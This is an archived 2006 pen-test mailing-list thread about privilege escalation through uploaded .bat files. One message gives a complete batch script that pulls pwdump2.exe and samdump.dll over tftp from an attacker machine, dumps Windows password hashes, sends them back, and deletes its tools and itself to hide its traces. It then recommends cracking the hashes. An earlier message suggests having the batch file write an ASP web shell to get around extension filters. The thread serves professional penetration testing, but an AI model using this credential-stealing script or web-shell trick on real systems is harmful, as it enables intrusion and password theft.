RE: privelege escalation with .bat files

Not only will I not laugh,, I thank you for sharing this with all of us in
this group. Simplicity in itself is excellence, and you have shown a very
elegant method to us all that now, we can utilize with efficiency.

Thanks again
rich

-----Original Message-----
From: Maudite [mailto:maudite.mlrl@xxxxxxxxx]
Sent: Wednesday, April 26, 2006 9:50 PM
To: pen-test@xxxxxxxxxxxxxxxxx
Subject: RE: privelege escalation with .bat files

Keep it simple.
If you can upload and execute a .bat, I use the following a lot with
metasploit and other items I can get on a machine with. I steal the password
file with pwdump.


If you want to upload other items just edit the following for what you want
to upload (nc, adduser, shell code, root kit...). Save yourself time and
have the script start and stop everything.

Run a tftp server on your attack machine. I use VM ware a lot so I will have
a linux iso in vm and win running as the base. So I have been using
tftpd32g. Upload and execute the following. (not a windows guy don't laugh
at my simple bat)

Winpassword.bat
_BEGIN

call tftp -i [YOUR attack machine IP HERE] pwdump2.exe
call tftp -i [YOUR attack machine IP HERE] GET samdump.dll
call pwdump2.exe >password.txt
call tftp -i [YOUR attack machine IP HERE] PUT password.txt
call del /F pwdump2.exe
call del /F samdump.dll
call del /F password.txt
call del /F TFT*
call del /F winpassword.bat
call cls

_END

tftpd is on most boxes.

This one uploads, steals the password file (dump then download), then
deletes itself and ends. On and off in seconds. Then use John/l0pht/rainbows
to pop the passwords. Login.

- Maudite
maudite.mutantlogic.net
This must mean something to some one: CISSP/CEH/CISA/.....

-----Original Message-----
From: Michael Hendrickx [mailto:michael@xxxxxxxxxx]
Sent: Wednesday, April 26, 2006 12:58 AM
To: pen-test@xxxxxxxxxxxxxxxxx
Subject: Re: privelege escalation with .bat files

However, its also set up to deny copying (or renaming to) of the following

file extensions .asp, .com, .cmd, .exe, and .dll. Interestingly, it does
allow .bat files to be written onto the server.

Can't you make a .ASP file through the bat file? (echo "<%" >
file.asp). When the bat is executed, it's -I think- done locally, and
the ASP file can be created.. Then you can make a knock-off of
aspcmd.asp or something.

Just a thought,
Michael

--
Michael Hendrickx, CISSP, SCTA
Sr Security Engineer
Scanit FZ / LLC
http://www.scanit.net

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